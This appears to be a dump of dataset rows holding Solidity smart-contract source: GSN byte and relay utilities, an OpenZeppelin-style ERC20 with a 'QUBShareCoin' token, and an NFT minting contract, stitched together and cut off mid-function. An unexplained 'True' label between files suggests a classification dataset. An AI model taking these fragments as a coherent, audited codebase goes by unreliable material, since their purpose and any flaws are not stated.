}
src += WORD_SIZE;
dest += WORD_SIZE;
}
// left over bytes. Mask is used to remove unwanted bytes from the word
uint mask = 256 ** (WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
}
/* solhint-disable no-inline-assembly */
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
import "../utils/MinLibBytes.sol";
library GsnUtils {
/**
* extract method sig from encoded function call
*/
function getMethodSig(bytes memory msgData) internal pure returns (bytes4) {
return MinLibBytes.readBytes4(msgData, 0);
}
/**
* extract parameter from encoded-function block.
* see: https://solidity.readthedocs.io/en/develop/abi-spec.html#formal-specification-of-the-encoding
* the return value should be casted to the right type (uintXXX/bytesXXX/address/bool/enum)
*/
function getParam(bytes memory msgData, uint index) internal pure returns (uint) {
return MinLibBytes.readUint256(msgData, 4 + index * 32);
}
//re-throw revert with the same revert data.
function revertWithData(bytes memory data) internal pure {
assembly {
revert(add(data,32), mload(data))
}
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
import "./IRelayHub.sol";
interface IPenalizer {
event CommitAdded(address indexed sender, bytes32 indexed commitHash, uint256 readyBlockNumber);
struct Transaction {
uint256 nonce;
uint256 gasPrice;
uint256 gasLimit;
address to;
uint256 value;
bytes data;
}
function commit(bytes32 commitHash) external;
function penalizeRepeatedNonce(
bytes calldata unsignedTx1,
bytes calldata signature1,
bytes calldata unsignedTx2,
bytes calldata signature2,
IRelayHub hub,
uint256 randomValue
) external;
function penalizeIllegalTransaction(
bytes calldata unsignedTx,
bytes calldata signature,
IRelayHub hub,
uint256 randomValue
) external;
function versionPenalizer() external view returns (string memory);
function penalizeBlockDelay() external view returns (uint256);
function penalizeBlockExpiration() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// minimal bytes manipulation required by GSN
// a minimal subset from 0x/LibBytes
/* solhint-disable no-inline-assembly */
pragma solidity >=0.7.6;
library MinLibBytes {
//truncate the given parameter (in-place) if its length is above the given maximum length
// do nothing otherwise.
//NOTE: solidity warns unless the method is marked "pure", but it DOES modify its parameter.
function truncateInPlace(bytes memory data, uint256 maxlen) internal pure {
if (data.length > maxlen) {
assembly { mstore(data, maxlen) }
}
}
/// @dev Reads an address from a position in a byte array.
/// @param b Byte array containing an address.
/// @param index Index in byte array of address.
/// @return result address from byte array.
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
require (b.length >= index + 20, "readAddress: data too short");
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Read address from array memory
assembly {
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 20-byte mask to obtain address
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(b.length >= index + 32, "readBytes32: data too short" );
// Read the bytes32 from array memory
assembly {
result := mload(add(b, add(index,32)))
}
return result;
}
/// @dev Reads a uint256 value from a position in a byte array.
/// @param b Byte array containing a uint256 value.
/// @param index Index in byte array of uint256 value.
/// @return result uint256 value from byte array.
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
require(b.length >= index + 4, "readBytes4: data too short");
// Read the bytes4 from array memory
assembly {
result := mload(add(b, add(index,32)))
// Solidity does not require us to clean the trailing bytes.
// We do it anyway
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.5;
pragma abicoder v2;
import "../utils/GsnTypes.sol";
library RelayHubValidator {
// validate that encoded relayCall is properly packed without any extra bytes
function verifyTransactionPacking(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData
) internal pure {
// abicoder v2: https://docs.soliditylang.org/en/latest/abi-spec.html
// each static param/member is 1 word
// struct (with dynamic members) has offset to struct which is 1 word
// dynamic member is 1 word offset to actual value, which is 1-word length and ceil(length/32) words for data
// relayCall has 5 method params,
// relayRequest: 2 members
// relayData 8 members
// ForwardRequest: 7 members
// total 22 32-byte words if all dynamic params are zero-length.
uint expectedMsgDataLen = 4 + 23 * 32 +
dynamicParamSize(signature) +
dynamicParamSize(approvalData) +
dynamicParamSize(relayRequest.request.data) +
dynamicParamSize(relayRequest.relayData.paymasterData);
require(signature.length <= 65, "invalid signature length");
require(expectedMsgDataLen == msg.data.length, "extra msg.data bytes" );
}
// helper method for verifyTransactionPacking:
// size (in bytes) of the given "bytes" parameter. size include the length (32-byte word),
// and actual data size, rounded up to full 32-byte words
function dynamicParamSize(bytes calldata buf) internal pure returns (uint) {
return 32 + ((buf.length + 31) & uint(~31));
}
}
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] |
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract QUBShareCoin is ERC20 {
constructor() public ERC20("QUBShare010", "QUBSHARE010") {
_mint(msg.sender, 10000000 * 10**18);
}
} | True | [
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// SPDX-License-Identifier: MIT
// Galaxy Heroes NFT game
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Modifiers1155 is ERC1155Supply, Ownable {
using Strings for uint256;
struct Partners {
uint256 limit;
uint256 nftMinted;
}
struct TokenReq {
uint256 mintPrice;
uint256 maxBuyPerTx;
uint256 maxMintPerTx;
uint256 stopMintAfter;
uint256 maxTotalSupply;
uint256 reservedForPartners;
}
string public name = "SIDUS NFT HEROES - Galaxy Modificators";
mapping(uint256 => TokenReq) public tokenReq;
mapping(address => mapping(uint256 => Partners)) public partnersLimit;
mapping(address => mapping(uint256 => uint256)) public tokensForMint;
//Event for track mint channel:
// 2 - With Ethere
// 3 - Partners White List
// 4 - With ERC20
event MintSource(uint256 tokenId, uint256 amount, uint8 channel);
event PartnesChanged(uint256 tokenId, address partner, uint256 limit);
constructor()
ERC1155("") {
}
function multiMint(uint256 tokenID) external payable {
require(totalSupply(tokenID) > 0, "Only minted NFT") ;
uint256 mintAmount = _availableFreeMint(msg.sender, tokenID);
if(mintAmount > 0) {
require(msg.value == 0, "No need Ether");
mintAmount = _checkMintAmount(tokenID, mintAmount, true);
_multiMint(msg.sender, mintAmount, tokenID, 3);
partnersLimit[msg.sender][tokenID].nftMinted += mintAmount;
tokenReq[tokenID].reservedForPartners -= mintAmount;
}else {
require(msg.value >= tokenReq[tokenID].mintPrice, "Less ether for mint");
uint256 estimateAmountForMint = msg.value / tokenReq[tokenID].mintPrice;
require(estimateAmountForMint <= tokenReq[tokenID].maxBuyPerTx, "So much payable mint");
require(tokenReq[tokenID].stopMintAfter > tokenReq[tokenID].reservedForPartners, "Minting is paused");
require(tokenReq[tokenID].stopMintAfter - tokenReq[tokenID].reservedForPartners >= totalSupply(tokenID) + estimateAmountForMint, "Minting is paused");
_multiMint(msg.sender, estimateAmountForMint, tokenID, 2);
if ((msg.value - estimateAmountForMint * tokenReq[tokenID].mintPrice) > 0) {
address payable s = payable(msg.sender);
s.transfer(msg.value - estimateAmountForMint * tokenReq[tokenID].mintPrice);
}
}
}
function mintWithERC20(address _withToken, uint256 _tokenID, uint256 _nftAmountForMint) external {
require(totalSupply(_tokenID) > 0, "Only minted NFT") ;
require(tokensForMint[_withToken][_tokenID]> 0, "No mint with this token");
require(_nftAmountForMint <= tokenReq[_tokenID].maxBuyPerTx, "So much payable mint");
require(tokenReq[_tokenID].stopMintAfter > tokenReq[_tokenID].reservedForPartners, "Minting is paused");
require(tokenReq[_tokenID].stopMintAfter - tokenReq[_tokenID].reservedForPartners >= totalSupply(_tokenID) + _nftAmountForMint, "Minting is paused");
IERC20(_withToken).transferFrom(
msg.sender,
address(this),
tokensForMint[_withToken][_tokenID] * _nftAmountForMint
);
_multiMint(msg.sender, _nftAmountForMint, _tokenID, 4);
}
// function burn(address account, uint256 _tokenID, uint256 amount) external {
// require(account == msg.sender || isApprovedForAll(account, msg.sender),
// "ERC1155: caller is not owner nor approved");
// _burn(account, _tokenID, amount);
// }
function availableFreeMint(address _partner, uint256 _tokenID) external view returns (uint256) {
return _availableFreeMint(_partner, _tokenID);
}
function getMintPrice(uint256 id) external view returns (uint256) {
return tokenReq[id].mintPrice;
}
function getTokenDetails(uint256 _id) external view returns (TokenReq memory) {
return tokenReq[_id];
}
// function checkMintAmount(uint256 _tokenID, uint256 _amount, bool isFree) external view returns (uint256) {
// return _checkMintAmount(_tokenID, _amount, isFree);
// }
///////////////////////////////////////////////////////////////////
///// Owners Functions ///////////////////////////////////////////
///////////////////////////////////////////////////////////////////
function setPartner(address _partner, uint256 _tokenID, uint256 _limit) external onlyOwner {
_setPartner(_tokenID, _partner, _limit);
}
function setPartnerBatch(uint256 _tokenID, address[] memory _partners, uint256[] memory _limits) external onlyOwner {
require(_partners.length == _limits.length, "Array params must have equal length");
require(_partners.length <= 256, "Not more than 256");
for (uint8 i; i < _partners.length; i ++) {
_setPartner(_tokenID, _partners[i], _limits[i]);
}
}
function setMintPrice(uint256 id, uint256 _newPrice) external onlyOwner {
tokenReq[id].mintPrice = _newPrice;
}
function setMaxTotalSupply(uint256 id, uint256 _maxSupply) external onlyOwner {
tokenReq[id].maxTotalSupply = _maxSupply;
}
function setStopMinterAfter(uint256 id, uint256 _stopMinter) external onlyOwner {
tokenReq[id].stopMintAfter = _stopMinter;
}
function setPriceInToken(address _token, uint256 _tokenId, uint256 _pricePerMint) external onlyOwner {
require(_token != address(0), "No zero");
tokensForMint[_token][_tokenId] = _pricePerMint;
}
function withdrawEther() external onlyOwner {
address payable o = payable(msg.sender);
o.transfer(address(this).balance);
}
function withdrawTokens(address _erc20) external onlyOwner {
IERC20(_erc20).transfer(msg.sender, IERC20(_erc20).balanceOf(address(this)));
}
function createNew(
address account,
uint256 id,
uint256 amount,
uint256 _mintPrice,
uint256 _maxBuyPerTx,
uint256 _maxMintPerTx,
uint256 _stopMintAfter,
uint256 _maxTotalSupply) external onlyOwner {
_mint(account, id, amount, bytes('0'));
_setTokenReq(id, _mintPrice,_maxBuyPerTx, _maxMintPerTx, _stopMintAfter, _maxTotalSupply);
}
function createNewBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts,
uint256[] memory _mintPrice,
uint256[] memory _maxBuyPerTx,
uint256[] memory _maxMintPerTx,
uint256[] memory _stopMintAfter,
uint256[] memory _maxTotalSupply) external onlyOwner {
require(ids.length == _mintPrice.length, "mintPrice params must have equal length");
require(ids.length == _maxBuyPerTx.length, "maxBuyPerTx params must have equal length");
require(ids.length == _maxMintPerTx.length, "maxMintPerTx params must have equal length");
require(ids.length == _stopMintAfter.length, "stopMintAfter params must have equal length");
require(ids.length == _maxTotalSupply.length, "maxTotalSupply params must have equal length");
_mintBatch(account, ids, amounts, bytes('0'));
for(uint256 i=0; i<ids.length; i++) {
_setTokenReq(ids[i], _mintPrice[i],_maxBuyPerTx[i], _maxMintPerTx[i], _stopMintAfter[i], _maxTotalSupply[i]);
}
}
function editTokenReq(
uint256 id,
uint256 _mintPrice,
uint256 _maxBuyPerTx,
uint256 _maxMintPerTx,
uint256 _stopMintAfter,
uint256 _maxTotalSupply
) external onlyOwner {
_editTokenReq(id, _mintPrice,_maxBuyPerTx, _maxMintPerTx, _stopMintAfter, _maxTotalSupply);
}
///////////////////////////////////////////////////////////////////
///// INTERNALS /////////////////////////////////////////////
///////////////////////////////////////////////////////////////////
function _availableFreeMint(address _partner, uint256 _tokenID) internal view returns (uint256) {
return partnersLimit[_partner][_tokenID].limit - partnersLimit[_partner][_tokenID].nftMinted;
}
/// function SET new limit, NOT INCREMENT or DECREMENT
function _setPartner(uint256 _tokenID, address _partner, uint256 _limit) internal {
require(_partner != address(0), "No zero");
require(_limit >= partnersLimit[_partner][_tokenID].nftMinted, "Cant decrease more then minted");
if (partnersLimit[_partner][_tokenID].limit < _limit) {
tokenReq[_tokenID].reservedForPartners += (_limit - partnersLimit[_partner][_tokenID].limit);
} else {
tokenReq[_tokenID].reservedForPartners -= (partnersLimit[_partner][_tokenID].limit - _limit);
}
partnersLimit[_partner][_tokenID].limit = _limit;
emit PartnesChanged(_tokenID, _partner, _limit);
}
function _setTokenReq(
uint256 _id,
uint256 _mintPrice,
uint256 _maxBuyPerTx,
uint256 _maxMintPerTx,
uint256 _stopMintAfter,
uint256 _maxTotalSupply
) internal {
tokenReq[_id] = TokenReq({
mintPrice: _mintPrice,
maxBuyPerTx: _maxBuyPerTx,
maxMintPerTx: _maxMintPerTx,
stopMintAfter: _stopMintAfter,
